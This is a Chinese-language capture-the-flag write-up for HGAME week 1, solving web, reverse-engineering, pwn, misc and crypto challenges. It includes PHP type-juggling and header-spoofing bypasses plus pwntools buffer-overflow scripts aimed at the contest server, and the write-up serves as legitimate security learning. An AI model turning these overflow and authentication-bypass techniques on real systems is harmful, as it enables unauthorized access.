HGAME-WEEK1-WRITE-UP

HGAME-WEEK1

WEB

1、Are you from Europe?

解法一:查看源码,然后看到

抽到SSR概率太低了吧,直接控制台执行

var SSR=100000000;

然后疯狂氪金。

var money=100000000;

抽几次奖拿到flag。

解法二:审查元素,发现以下代码:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{}))

使用 http://tool.chinaz.com/js.aspx 排版一下就出来 flag 了。

  1. special number【php 弱类型】

直接f12审查元素。

正则的意思是数字和字母组合,长度大于7,然后有一个关键的漏洞:json_decode()函数漏洞。

json_decode()函数把0e开头的md5值结果出来可以构造true

构造key=0e134324567就能绕过。

3、can u find me?

打开题目地址提示only robot know where is the flag ,我们可以想到robots.txt文件

访问robots.txt可以看到一个/f1aaaaaaaag.php的页面

访问该页面提示only admin can get flag

通过burp抓包改一下user=admin即可得到flag。

4、tell me what you want

根据题目提示提交?want=flag,提示“request method is error.I think POST is better”

改用POST提交,提示“only localhost can get flag”

需要构造X-Forwarded-For: 127.0.0.1来实现本地访问

通过burp修改请求头可以得到flag。

5、我们不一样【php弱类型】

代码如下:

 

 

if(isset($_POST['str1'])&&isset($_POST['str2'])){
if ($_POST['str1']!=$_POST['str2']&&strcmp($_POST['str1'],$_POST['str2'])==0) {
echo "flag is:".$flag;
exit();
}else{
echo "Something wrong..";
}
}

题目提示PHP弱类型,参考http://www.freebuf.com/articles/web/129607.html

我们的payload:str1=a & str2[]=b

POST提交后可得到flag

RE

1.re0

老套路,ida打开f12查找字符串拿flag

2.baby_crack

拖进IDA,F5,读代码。发现对操作做了这样的操作:

    • 按位置进行循环移位
    • 将输入的每个通过一个映射转到另一个
    • 进行几轮交换
      逆一下得flag。

      3.nop_pop

      EXEinfo显示是PE文件,那就运行一下看

      打开OD搜一下

      先是把跳转nop掉,然后出来那个Con…的,联系出题人,出题人表示是要nop掉pop子
      于是再看,然后发现上面有个nop_me(提示真明显wwwww)
      nop掉,程序发给出题人,得到flag

      4.sc2_player

      看了一下程序F5出来的东西大概做了这几步操作

      • arr=(index%7+35)^special
      • special(index%7)=special^0x34
      • arr=input^ index^(index/7)
        这几个都是长度为28的数组,arr是最后用来比对的数组,input是输入的flag,special是一个程序存储的数组
        所以前两步有什么意义……
    //sc2.cpp
    #include <bits/stdc++.h>
    using namespace std;
    char arr[29]={104,98,118,101,127,72,50,127,86,124,99,63,82,101,72,108,77,116,101,32,114,115,74,96,115,127,124,101};
    int main()
    {
    	for(int i=0;i<28;++i){
    		arr[i]=arr[i]^i^(i/7);
    	}
    	for(int i=0;i<28;++i){
    		putchar(arr[i]);
    	}
    }

    pwn

    guess_number

    第一个是输入的字符串可以溢出,虽然有canary保护,但是可以把后面变量覆盖为0

    然后输入字符串也是0开头,就通过了

    贴一下我的脚本:(萌新打pwn,写的不好见谅)

    from pwn import *

    r=remote('111.230.149.72',10002)

    payload='A'*(0x10c+4)+p32(0)*10

    r.recvuntil('enter your guess:')

    r.sendline(payload)

    r.interactive()

    flag_server

    典型的username溢出,ps:这里说一个很坑的地方,nc进去要loading很长一段时间,我tm想打死出题人,当然了,我在官方群皮过很久了,这个loading的问题也有很多人想打他。2333333

    首先是输入用户名的长度,我们这里输入一个负数,导致溢出。

    然后输入用户名,不要输入admin,使用yulige通过溢出把检查的变量改为1.

    下面贴一下我的脚本:

    from pwn import *

    r=remote('111.230.149.72',10001)

    payload1='-1000000'

    payload2='yulige'+'\x00'+'\x01'*(0x40-6+1)

    r.recvuntil('your username length:')

    r.sendline(payload1)

    r.recvuntil('whats your username?\n')

    r.sendline(payload2)

    r.interactive()

    zazahui

    先看整个流程,发现它先把flag读进了一个固定地址
    这次换成了read,但是大小却是188,于是还是能搞事,直接用地址覆盖后面的*s就能输出flag了

    本机测试过关直接发payload了,顺便*s后面是计数器,所以可以覆盖可以不覆盖,但是不能改成0,那样就直接退出了

    贴脚本:

    #!/usr/bin/env python

    # -*- coding: utf-8 -*-

    from pwn import *

    r=remote('111.230.149.72',10003)

    payload= '大扎好,我系轱天乐,我四渣渣辉,探丸蓝月介四里没有丸过的船新版本,挤需体验三番钟,里造会干我一样,爱象介款游戏。'+'\x00'*8 + p32(0x804a060) +'\x01'

    r.recvuntil('>')

    r.sendline(payload)

    r.interactive()

    ps:逆向伤身体,以后还是先学好web吧,毕竟自己太菜了。

    misc

    1.白菜1

    拿到flag.png,先到binwalk跑一下,没有发现什么东西

    试了一下LSB隐写,拿到flag。

    2.白菜2

    binwalk看一下,发现zip压缩包,分离出来解压缩即可拿到flag

    3.pcap1

    流量包分析,追踪一下http流。。。。一下就出来了flag23333333

    crypto

    easy Caesar

    vuoas{Hvs_ei8qy_pf7kb_1l_xIadg_cjSf_o_Zo9m_rCu}

    直接凯撒跑一下,发现还是不对,仔细一看,数字也要移动3位。拿到flag。

    ps:这题坑死了,一开始给了错误的密文,我一开始就做这题,结果还没做出来,白白流失了很多一血。

    Polybius

    hgame{FDXDGDADDG_FXXFAAXFAG_GDFXFFXFFXADXFDA_GDAD}

    对着表一个一个写出来,发现提交不对,把所有的j改成i提交,得flag。

    也贴脚本:

    import sys
    dic_char = {'AA': 'b', 'DA': 'd', 'FA': 'q', 'GA': 'g', 'XA': 'm', 'AD': 't', 'DD': 'h', 'FD': 'f', 'GD': 'j',
                'XD': 'r', 'AF': 'a', 'DF': 'o', 'FF': 'v', 'GF': 'c', 'XF': 'e', 'AG': 'l', 'DG': 'z', 'FG': 's',
                'GG': 'u', 'XG': 'w', 'AX': 'p', 'DX': 'k', 'FX': 'n', 'GX': 'x', 'XX': 'y'}
    dic_digit = {'11': 'A', '12': 'B', '13': 'C', '14': 'D', '15': 'E', '21': 'F', '22': 'G', '23': 'H', '24': 'I',
                 '25': 'K', '31': 'L', '32': 'M', '33': 'N', '34': 'O', '35': 'P', '41': 'Q', '42': 'R', '43': 'S',
                 '44': 'T', '45': 'U', '51': 'V', '52': 'W', '53': 'X', '54': 'Y', '55': 'Z'}
    def Polybius(dic, cipher, sp = '_'):
        result = ''
        l = cipher.split(sp)
        for a in l:
            for i in range(0, len(a), 2):
                key = a[i:i+2]
                if key in dic:
                    result += dic[key]
                else:
                    result += key
            result += sp
        result = result[:len(result)-1]
        print(result)
        if 'j' in result:
            print(result.replace('j', 'i'))
        elif 'I' in result:
            print(result.replace('I', 'J'))
        return
    if __name__ == '__main__':
        cipher = sys.argv[1]
        if ('1' in cipher) or ('2' in cipher) or ('3' in cipher) or ('4' in cipher) or ('5' in cipher):
            Polybius(dic_digit, cipher)
        else:
            Polybius(dic_char, cipher)

    Hill

    Not hard key:9 17 6 5 Ciphertext:phnfetzhzzwz

    我当时拿草稿纸解的,为了向我没有拿满分的线代道歉。23333

    其实有在线网站可以解,我也是之后才知道:

    http://www.practicalcryptography.com/ciphers/hill-cipher/

    或者用python脚本解(仅二阶)

    贴脚本:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from numpy.ma import array
    
    from numpy import *
    Dic = {chr(i+97):i for i in range(26)}
    def decode(pwd, org):
        temp = []
        result = []
        while True:
            if len(pwd) % 3 != 0:
                pwd.append(pwd[-1])
            else:
                break
        for i in pwd:
            temp.append(Dic.get(i))
        temp = array(temp)
        temp = temp.reshape(len(pwd)/3, 3)
        #print temp
        #print org
        xx = matrix(temp)*org
        for j in range(len(pwd)/3):
            for i in range(3):
                if (int(xx[j, i]) >= 26):
                    result.append(chr(xx[j, i] % 26 + 97))
                    #print xx[j, i] % 26
                else:
                    #print xx[j, i]
                    result.append(chr(xx[j, i] + 97))
        return result
    def get_vmatrix(org):
        org_adjoin = org.I*linalg.det(org)
        print org_adjoin
        org_det = int(str(abs(linalg.det(org))).split('.')[0])
        print org_det
        for i in range(1, 26):
            if i * org_det % 26 == 1:
                break
        org_mod = -org_adjoin * i % 26
        org_mod = matrix(org_mod)
        temp = []
        for i in range(org_mod.shape[0]):
            for j in range(org_mod.shape[1]):
                temp.append(int(str(org_mod[i, j]).split('.')[0]))
        org_final = matrix(temp).reshape(org_mod.shape[0], org_mod.shape[1])
        #print org_final
        return org_final
    if __name__ == '__main__':
        ''' for test
        pwd = list("act")
        org = matrix(array([[6, 24, 1], [13 , 16, 10], [20, 17, 15]]))
        result = decode(pwd, org)
        print "".join(result)
        deorg = matrix(array([[8, 5, 10], [21 , 8, 21], [21, 12, 8]]))
        result = decode(result, deorg)
        print "".join(result)
        '''
        pwd = "wjamdbkdeibr"
        pwd = list(pwd)
        org = matrix(array([[9,17],[6,5]]))
        org_vm = get_vmatrix(org)
        print org_vm
        print "Your flag is :" + "".join(decode(pwd, org_vm))
    
    
    

    confusion

    --/.-./.-../-/-.-/-..../-.-/-..-/-./...-/--../-..-/--.-/.--/-.../.../-./.-/..---/..-./.../..-/..---/--./--./-.../.../.--/....-/...../-.../.../.-../.-/--../..-./..-/-..../.../...-/.---/-.../-./-../.-/--../.../.-./..../..-/-..../--.-/-...-/-...-/-...-/-...-

    一看就是摩斯密码,然后解一下发现是base32,base64,栅栏凯撒。就出来了flag。

    baby step

    pow(0x1111111111,flag,0x976693344d) = 0x7ac21f64ed
    结果转换成5字节可见字符。

    这里说一下:lyy天下第一!你们不需要知道他是谁,反正很nb就对了。当然了,按照acm的解法最后并不是正确答案,毕竟这是ctf。

    贴一下网上找的bsgs脚本,lyy得出acm的结果然后我自己用费马小定理出最后解集的时候出了不知名的错误(雾,最后还是拿别人的脚本跑的,尴尬。

    from math import ceil, sqrt
    
    def bsgs(g, h, p):
        '''
        Solve for x in h = g^x mod p given a prime p.
        If p is not prime, you shouldn't use BSGS anyway.
        '''
        N = ceil(sqrt(p - 1)) # phi(p) is p-1 if p is prime
    
        # Store hashmap of g^{1...m} (mod p). Baby step.
        tbl = {pow(g, i, p):i for i in range(N)}
    
        # Precompute via Fermat's Little Theorem
        c = pow(g, N * (p - 2), p)
    
        # Search for an equivalence in the table. Giant step.
        for j in range(N):
            y = (h * pow(c, j, p)) % p
            if y in tbl: print (j * N + tbl[y])
    
        # Solution not found
        return None
    
    print(bsgs(0x1111111111, 0x7ac21f64ed, 0x976693344d))
    
    
    

    爆出解集的第二个就是flag。

     

     

    ??????????什么情况?week1ak?emmmm可能是因为题简单吧。

    我就week1的二进制看了看,之后的pwn和re都没看,手撸一个解密工具去了2333333

    week1 over!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值